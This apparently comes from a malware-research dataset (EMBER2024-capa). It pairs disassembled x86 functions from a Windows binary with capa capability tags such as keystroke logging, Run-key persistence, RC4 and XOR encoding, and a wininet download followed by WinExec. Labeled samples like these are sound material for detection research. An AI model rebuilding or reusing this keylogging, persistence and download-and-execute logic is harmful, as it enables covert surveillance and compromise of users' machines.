joyce8/EMBER2024-capa huggingface dataset:
Function at 0x55dbc4
Capabilities:
Encode data using base64
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
add eax, eax
add eax, eax
mov ecx, 3
cdq
idiv ecx
mov edx, eax
add edx, 4
mov ecx, esi
xor eax, eax
call fcn.00407010
cmp byte [ebp - 1], 0
jne 0x55dc24
mov eax, esi
call fcn.00406f0c
movzx edx, byte [ebp - 0xc]
dec edx
and dl, 0x3f
add dl, 0x21
mov byte [eax], dl
mov eax, dword [ebp - 0xc]
add eax, 2
mov ecx, 3
cdq
idiv ecx
lea eax, [eax + eax*2]
mov dword [ebp - 0xc], eax
mov edi, 2
xor eax, eax
mov dword [ebp - 0x10], eax
xor ebx, ebx
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x55dc3e
sub al, 2
jb 0x55dc45
jmp 0x55dc4a
mov ebx, 2
jmp 0x55dc4a
mov ebx, 1
mov eax, esi
call fcn.00406f0c
mov byte [eax + ebx - 1], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jge 0x55dd2e
test edi, edi
jle 0x55dca6
mov eax, esi
call fcn.00406f0c
lea eax, [eax + ebx - 1]
push eax
mov ecx, edi
mov eax, 0x3f
shl eax, cl
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
movzx edx, byte [edx + ecx]
and eax, edx
mov ecx, edi
shr eax, cl
mov edx, dword [esi]
or al, byte [edx + ebx - 1]
pop edx
mov byte [edx], al
sub edi, 6
inc ebx
mov eax, esi
call fcn.00406f0c
mov byte [eax + ebx - 1], 0
jmp 0x55dd22
test edi, edi
jge 0x55dcec
mov eax, edi
cdq
xor eax, edx
sub eax, edx
mov edi, eax
mov eax, esi
call fcn.00406f0c
lea eax, [eax + ebx - 1]
push eax
mov ecx, edi
mov eax, 0x3f
shr eax, cl
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
and al, byte [edx + ecx]
mov ecx, edi
shl al, cl
mov edx, dword [esi]
or al, byte [edx + ebx - 1]
pop edx
mov byte [edx], al
mov eax, 8
sub eax, edi
mov edi, eax
inc dword [ebp - 0x10]
jmp 0x55dd22
mov eax, esi
call fcn.00406f0c
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
movzx edx, byte [edx + ecx]
and dl, 0x3f
mov ecx, dword [esi]
movzx ecx, byte [ecx + ebx - 1]
or dl, cl
mov byte [eax + ebx - 1], dl
inc ebx
inc dword [ebp - 0x10]
mov eax, esi
call fcn.00406f0c
mov byte [eax + ebx - 1], 0
mov edi, 2
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0xc]
jl 0x55dc62
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x55dd3f
sub al, 2
jb 0x55dd79
jmp 0x55ddc1
cmp edi, 2
jne 0x55dd45
dec ebx
mov eax, ebx
sub eax, 2
jl 0x55ddc1
inc eax
mov dword [ebp - 0x14], eax
mov edi, 2
mov eax, esi
call fcn.00406f0c
mov edx, dword [esi]
movzx edx, byte [edx + edi - 1]
mov ecx, dword [0x5b165c]
movzx edx, byte [ecx + edx]
mov byte [eax + edi - 1], dl
inc edi
dec dword [ebp - 0x14]
jne 0x55dd55
jmp 0x55ddc1
cmp edi, 2
jne 0x55dd7f
dec ebx
test ebx, ebx
jle 0x55ddbc
mov dword [ebp - 0x14], ebx
mov edi, 1
mov eax, esi
call fcn.00406f0c
mov edx, dword [esi]
movzx edx, byte [edx + edi - 1]
mov ecx, dword [0x5b1660]
movzx edx, byte [ecx + edx]
mov byte [eax + edi - 1], dl
inc edi
dec dword [ebp - 0x14]
jne 0x55dd8b
jmp 0x55ddbc
inc ebx
mov eax, esi
call fcn.00406f0c
mov byte [eax + ebx - 1], 0x3d
test bl, 3
jne 0x55ddaf
mov eax, esi
xor ecx, ecx
mov edx, ebx
call fcn.00406f78
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x561f68
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
xor esi, esi
mov ecx, 0x5b8744
mov eax, esi
mov edx, 8
mov ebx, eax
and ebx, 1
test bl, bl
je 0x561f8a
shr eax, 1
xor eax, 0xedb88320
jmp 0x561f8c
shr eax, 1
dec edx
jne 0x561f78
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x561f71
mov byte [0x5b8b44], 1
pop esi
pop ebx
ret

Function at 0x561fa8
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x5b8b44], 0
jne 0x561fbf
call fcn.00561f68
mov eax, edi
dec eax
test eax, eax
jl 0x561fe7
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x5b8744]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x561fc9
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x564d90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebx + 0x14]
movzx edx, byte [eax + 0x461]
movzx ecx, dl
cmp ecx, 6
ja case.0x564e2a.0
jmp dword [ecx*4 + 0x564dc3]
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x564df5
sub dl, 8
je 0x564e04
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564a38
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564a90
jmp case.0x564e2a.0
movzx ecx, byte [eax + 0x460]
cmp ecx, 0x10
ja case.0x564e2a.0
movzx ecx, byte [ecx + 0x564e31]
jmp dword [ecx*4 + 0x564e42]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564b3c
jmp case.0x564e2a.0
cmp dl, 3
jne 0x564e6f
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564b94
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564b50
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564bd8
jmp case.0x564e2a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x564e9a
sub dl, 8
je 0x564ea6
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564c04
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564c70
jmp case.0x564e2a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x564ec5
sub dl, 8
je 0x564ed1
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564d2c
jmp case.0x564e2a.0
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], 0x564d54
mov edx, dword [eax + 0x468]
mov ecx, dword [ebx + 0x1c]
dec ecx
imul edx, ecx
mov esi, edx
add esi, dword [eax + 0x450]
mov dword [ebp - 0x10], esi
mov esi, dword [eax + 0x454]
mov dword [ebp - 0xc], esi
add edx, dword [eax + 0x44c]
mov dword [ebp - 0x14], edx
mov esi, ecx
test esi, esi
jb 0x564f73
inc esi
mov eax, dword [ebx + 0x20]
inc eax
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [ebp + 8]
push eax
movzx eax, byte [ebx + 0x48]
mov ecx, dword [ebx + eax*4 + 0x40]
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00563f3c
test eax, eax
je 0x564f73
mov eax, ebx
call fcn.00564f7c
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
lea edx, [eax + 1]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
call dword [ebp - 0x20]
movzx eax, byte [ebx + 0x48]
xor al, 1
mov byte [ebx + 0x48], al
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0x468]
sub dword [ebp - 0x10], eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x18]
add dword [ebp - 0xc], eax
dec esi
jne 0x564f0c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x564f7c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x564fad
dec al
je 0x564fe8
dec al
je 0x56502d
dec al
je 0x565096
jmp 0x565120
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x565120
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x564fbd
jmp 0x565120
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x565120
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov edx, eax
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x564ff8
jmp 0x565120
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x565120
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x56505c
xor ebp, ebp
jmp 0x56506c
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x565075
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x56503d
jmp 0x565120
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x565120
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x5650ef
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.00561ff0
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x5650aa
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5836f8
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.004073d4
mov eax, dword [ebp - 0xc]
call fcn.004073d4
xor eax, eax
push ebp
push 0x5837ec
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x44af88]
call fcn.0044c6ec
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x5837c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x80000001
mov eax, dword [ebp - 0x10]
call fcn.0044c7d4
xor ecx, ecx
mov edx, 0x583804
mov eax, dword [ebp - 0x10]
call fcn.0044c91c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.0044d8d4
test al, al
je 0x58379e
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.0044d34c
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00407ac4
je 0x5837ac
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.0044d234
jmp 0x5837ac
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
call fcn.0044d234
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5837c9
mov eax, dword [ebp - 0x10]
call fcn.004053fc
ret

Function at 0x584214
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
mov byte [ebp - 5], cl
mov word [ebp - 4], dx
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0x90
jne 0x584270
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x10c]
push eax
call sub.user32.dll_GetKeyboardState
cmp byte [ebp - 0xa], 0
je 0x58425b
and byte [ebp - 0x7c], 0xfe
jmp 0x58425f
or byte [ebp - 0x7c], 1
lea eax, [ebp - 0x10c]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x584313
push 0
xor eax, eax
mov al, byte [ebp - 1]
push eax
call sub.user32.dll_MapVirtualKeyW
and al, 0xff
mov byte [ebp - 9], al
mov ax, word [ebp - 4]
test ax, ax
jbe 0x584313
mov word [ebp - 0xc], ax
mov word [ebp - 8], 1
mov al, byte [ebp - 1]
and eax, 0xff
bt dword [0x5b1854], eax
jae 0x5842dc
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
cmp byte [ebp - 5], 0
je 0x584309
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
jmp 0x584309
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
cmp byte [ebp - 5], 0
je 0x584309
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 9]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
inc word [ebp - 8]
dec word [ebp - 0xc]
jne 0x584299
mov esp, ebp
pop ebp
ret
Function at 0x584318
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov byte [ebp - 1], al
push 0
xor eax, eax
mov al, byte [ebp - 1]
push eax
call sub.user32.dll_MapVirtualKeyW
and al, 0xff
mov byte [ebp - 2], al
mov al, byte [ebp - 1]
and eax, 0xff
bt dword [0x5b1854], eax
jae 0x584357
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
pop ecx
pop ebp
ret
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
mov dl, byte [ebp - 2]
mov al, byte [ebp - 1]
call fcn.005841b4
pop ecx
pop ecx
pop ebp
ret
Function at 0x584a70
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov byte [ebp - 5], cl
mov word [ebp - 2], dx
mov word [ebp - 4], ax
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
mov al, byte [eax*2 + 0x5b1872]
cmp al, 7
ja 0x584aa0
and eax, 0x7f
movzx edx, byte [ebp - 2]
bt edx, eax
jae 0x584aca
push 0
push 0
push 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax*2 + 0x5b1873]
push eax
call sub.user32.dll_MapVirtualKeyW
push eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax*2 + 0x5b1873]
push eax
call sub.user32.dll_keybd_event
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jne 0x584a88
cmp byte [ebp - 5], 0
je 0x584ae2
mov dword [ebp - 0xc], 1
jmp 0x584ae7
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0
movzx eax, word [ebp - 4]
push eax
call sub.user32.dll_MapVirtualKeyW
push eax
mov al, byte [ebp - 4]
push eax
call sub.user32.dll_keybd_event
or dword [ebp - 0xc], 2
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0
movzx eax, word [ebp - 4]
push eax
call sub.user32.dll_MapVirtualKeyW
push eax
mov al, byte [ebp - 4]
push eax
call sub.user32.dll_keybd_event
mov dword [ebp - 0x10], 3
mov eax, dword [ebp - 0x10]
mov al, byte [eax*2 + 0x5b1872]
cmp al, 7
ja 0x584b42
and eax, 0x7f
movzx edx, byte [ebp - 2]
bt edx, eax
jae 0x584b6c
push 0
push 2
push 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax*2 + 0x5b1873]
push eax
call sub.user32.dll_MapVirtualKeyW
push eax
mov eax, dword [ebp - 0x10]
mov al, byte [eax*2 + 0x5b1873]
push eax
call sub.user32.dll_keybd_event
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0
jne 0x584b2a
mov esp, ebp
pop ebp
ret

Function at 0x584b7c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
xor edx, edx
mov dword [ebp - 0xc], edx
mov word [ebp - 2], ax
xor eax, eax
push ebp
push 0x584c6e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
movzx eax, word [ebp - 2]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x1c], 0
lea edx, [ebp - 0x20]
xor ecx, ecx
mov eax, 0x584c88
call fcn.00414d60
push 0
push 0
push 0
push 0x12
call sub.user32.dll_MapVirtualKeyW
push eax
push 0x12
call sub.user32.dll_keybd_event
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x584bf2
mov eax, dword [ebp - 0x14]
sub eax, 0xa
cmp word [eax], 2
je 0x584bf2
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 0xc]
call fcn.00406910
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x584c09
mov eax, dword [ebp - 0x18]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jle 0x584c43
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 1
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ax, word [eax + edx*2 - 2]
add ax, 0x60
sub ax, 0x30
xor ecx, ecx
mov dx, word [0x584c94]
call fcn.00584a70
inc dword [ebp - 8]
dec dword [ebp - 0x10]
jne 0x584c1a
push 0
push 2
push 0
push 0x12
call sub.user32.dll_MapVirtualKeyW
push eax
push 0x12
call sub.user32.dll_keybd_event
Function at 0x584c98
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004073d4
xor eax, eax
push ebp
push 0x584e92
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [ebp - 0x24], eax

Function at 0x5850e8
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ab8
inc eax
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
mov ecx, 1
mov edx, dword [0x5850c0]
call fcn.00408c80
add esp, 4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ac0
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov dword [edx + eax*4], 1
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ac0
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
lea eax, [edx + eax*4 + 4]
mov dword [ebp - 0xc], eax
xor eax, eax
mov al, byte [ebp - 1]
mov edx, dword [ebp - 0xc]
mov word [edx], ax
push 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
push eax
call sub.user32.dll_MapVirtualKeyW
mov edx, dword [ebp - 0xc]
mov word [edx + 2], ax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
mov esp, ebp
pop ebp
ret

Function at 0x5863d0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov byte [ebp - 1], al
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ab8
inc eax
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
mov ecx, 1
mov edx, dword [0x5863a8]
call fcn.00408c80
add esp, 4
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ac0
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov dword [edx + eax*4], 1
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.00408ac0
mov edx, eax
shl eax, 3
sub eax, edx
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
lea eax, [edx + eax*4 + 4]
mov dword [ebp - 0xc], eax
xor eax, eax
mov al, byte [ebp - 1]
mov edx, dword [ebp - 0xc]
mov word [edx], ax
push 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
push eax
call sub.user32.dll_MapVirtualKeyW
mov edx, dword [ebp - 0xc]
mov word [edx + 2], ax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov dword [edx + 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x589c24
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff990
push ebx
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x589d70
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x20]
mov edx, 0x589d8c
call fcn.00407440
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x20]
call fcn.00407478
push eax
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x589d53
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00407478
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 0x18], eax
xor eax, eax
push ebp
push 0x589d35
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x670]
call fcn.00404a1c
mov edx, 1
lea eax, [ebp - 0x670]
call fcn.00404e50
call fcn.004043e0
lea eax, [ebp - 0x1c]
push eax
push 0x400
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x420]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x670]
call fcn.00404b6c
call fcn.004043e0
cmp dword [ebp - 0x1c], 0
jne 0x589cd0
lea eax, [ebp - 0x670]
call fcn.00404b8c
call fcn.004043e0
mov byte [ebp - 0xd], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x589d3c
mov eax, dword [ebp - 0x18]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x58a030
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 4
push 0
push 0
dec ecx
jne 0x58a039
xchg dword [ebp - 4], ecx
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.004073d4
mov eax, dword [ebp - 0xc]
call fcn.004073d4
mov eax, dword [ebp + 8]
call fcn.004073d4
xor eax, eax
push ebp
push 0x58a1ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 0xc]
dec eax
je 0x58a081
dec eax
je 0x58a0fa
jmp 0x58a172
push 0x58a1d4
push dword [ebp - 8]
push 0x58a204
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004079a4
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00589c24
cmp al, 1
jne 0x58a172
mov edx, 0x4b0
mov eax, dword [ebp - 4]
call fcn.0059cffc
push 1
push 0x58a1d4
push dword [ebp - 8]
push 0x58a204
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.004079a4
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov ecx, 0
call fcn.00407630
mov eax, dword [ebp - 0x14]
call fcn.00406e94
push eax
call sub.kernel32.dll_WinExec
jmp 0x58a172
push 0x58a1d4
push dword [ebp - 8]
push 0x58a21c
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004079a4
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00589c24
cmp al, 1
jne 0x58a172
mov edx, 0x4b0
mov eax, dword [ebp - 4]
call fcn.0059cffc
push 1
push 0x58a234
push dword [ebp - 8]
push 0x58a27c
push dword [ebp + 8]
push 0
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.004079a4
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov ecx, 0
call fcn.00407630
mov eax, dword [ebp - 0x20]
call fcn.00406e94
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x58a1c1
lea eax, [ebp - 0x24]
call fcn.004073dc
lea eax, [ebp - 0x20]
call fcn.00406724
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004073e4
lea eax, [ebp - 0x14]
call fcn.00406724
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004073e4
lea eax, [ebp + 8]
call fcn.004073dc
ret